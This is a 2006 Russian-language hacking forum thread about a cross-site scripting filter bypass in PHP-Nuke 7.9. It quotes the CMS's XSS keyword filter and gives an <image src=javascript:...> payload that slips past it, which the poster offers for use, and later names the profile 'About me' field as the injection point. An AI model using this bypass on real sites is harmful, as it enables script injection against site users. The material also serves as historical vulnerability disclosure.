ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

баг в PHP-Nuke 7.9
  #1  
Старый 23.02.2006, 14:52
Аватар для Dr0ne
Dr0ne
Новичок
Регистрация: 22.02.2006
Сообщений: 12
Провел на форуме:
39733

Репутация: 3
По умолчанию баг в PHP-Nuke 7.9

я просмотрел код нюки на русском на нашел брешь в проверке на XSS
PHP код:
if (!defined('ADMIN_FILE')) {      foreach ($_GET as $sec_key => $secvalue) {          if ((eregi("<[^>]*script*\"?[^>]*>"$secvalue)) ||          (eregi("<[^>]*object*\"?[^>]*>"$secvalue)) ||          (eregi("<[^>]*iframe*\"?[^>]*>"$secvalue)) ||          (eregi("<[^>]*applet*\"?[^>]*>"$secvalue)) ||          (eregi("<[^>]*meta*\"?[^>]*>"$secvalue)) ||          (eregi("<[^>]*style*\"?[^>]*>"$secvalue)) ||          (eregi("<[^>]*form*\"?[^>]*>"$secvalue)) ||          (eregi("<[^>]*img*\"?[^>]*>"$secvalue)) ||          (eregi("<[^>]*onmouseover*\"?[^>]*>"$secvalue)) ||          (eregi("\([^>]*\"?[^)]*\)"$secvalue)) ||          (eregi("\""$secvalue)) ||          (eregi("forum_admin"$sec_key)) ||          (eregi("inside_mod"$sec_key))) { 
тут нет проверки на тэг <image >
атаку можно провести так
Код HTML:
<image src=javascript:alert('ok')>
пользуйтесь. будут вопросы - обращайтесь
 
Ответить с цитированием

  #2  
Старый 24.02.2006, 00:32
Аватар для PinkPanther
PinkPanther
[ розовый мафиозо ]
Регистрация: 16.03.2005
Сообщений: 301
Провел на форуме:
1736355

Репутация: 241
По умолчанию

Цитата:
Сообщение от Dr0ne  
я просмотрел код нюки на русском на нашел брешь в проверке на XSS
PHP код:
if (!defined('ADMIN_FILE')) {     foreach ($_GET as $sec_key => $secvalue) {         if ((eregi("<[^>]*script*\"?[^>]*>"$secvalue)) ||         (eregi("<[^>]*object*\"?[^>]*>"$secvalue)) ||         (eregi("<[^>]*iframe*\"?[^>]*>"$secvalue)) ||         (eregi("<[^>]*applet*\"?[^>]*>"$secvalue)) ||         (eregi("<[^>]*meta*\"?[^>]*>"$secvalue)) ||         (eregi("<[^>]*style*\"?[^>]*>"$secvalue)) ||         (eregi("<[^>]*form*\"?[^>]*>"$secvalue)) ||         (eregi("<[^>]*img*\"?[^>]*>"$secvalue)) ||         (eregi("<[^>]*onmouseover*\"?[^>]*>"$secvalue)) ||         (eregi("\([^>]*\"?[^)]*\)"$secvalue)) ||         (eregi("\""$secvalue)) ||         (eregi("forum_admin"$sec_key)) ||         (eregi("inside_mod"$sec_key))) { 
тут нет проверки на тэг <image >
атаку можно провести так
Код HTML:
<image src=javascript:alert('ok')>
пользуйтесь. будут вопросы - обращайтесь
RE конечно, но хотелось бы немного поподробнее....
 
Ответить с цитированием

  #3  
Старый 24.02.2006, 02:02
Аватар для Nova
Nova
OpenVPN.CC
Регистрация: 15.07.2005
Сообщений: 1,599
Провел на форуме:
7670961

Репутация: 1034


Отправить сообщение для Nova с помощью ICQ
По умолчанию

Мне тоже интересно стало.... раскажи подробней...
 
Ответить с цитированием

  #4  
Старый 24.02.2006, 10:37
Аватар для SanyaX
SanyaX
.::Club Life::.
Регистрация: 28.01.2005
Сообщений: 1,205
Провел на форуме:
7426415

Репутация: 1398


Отправить сообщение для SanyaX с помощью ICQ
По умолчанию

А что тут подробней он ведь и так уже выложил уязвимость можно сказать.
__________________
-=Ok let's Go=-
-=OpenVPN=-
 
Ответить с цитированием

  #5  
Старый 24.02.2006, 13:36
Аватар для Mobile
Mobile
Регистрация: 18.02.2006
Сообщений: 1,090
Провел на форуме:
6489333

Репутация: 1564


Отправить сообщение для Mobile с помощью ICQ
По умолчанию

Прикольно, держи +
 
Ответить с цитированием

  #6  
Старый 24.02.2006, 16:43
Аватар для grinay
grinay
IQ- 137%
Регистрация: 15.06.2004
Сообщений: 441
Провел на форуме:
1212666

Репутация: 662
Отправить сообщение для grinay с помощью ICQ
По умолчанию

вопрос только в том где вводить а?
 
Ответить с цитированием

  #7  
Старый 24.02.2006, 17:05
Аватар для Dr0ne
Dr0ne
Новичок
Регистрация: 22.02.2006
Сообщений: 12
Провел на форуме:
39733

Репутация: 3
По умолчанию

чтоб точно узнать пришлось денвер ставить)))
Ваш аккаунт - Персональная информация - Немного о себе:
=======================
кста я эту багу никому не показывал и никто о ней не знал
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Пишем Php код, устойчивый к ошибкам k00p3r Чужие Статьи 0 10.07.2005 22:34
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31
PHP vs mod_rewrite Trinux PHP, PERL, MySQL, JavaScript 11 13.05.2005 21:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ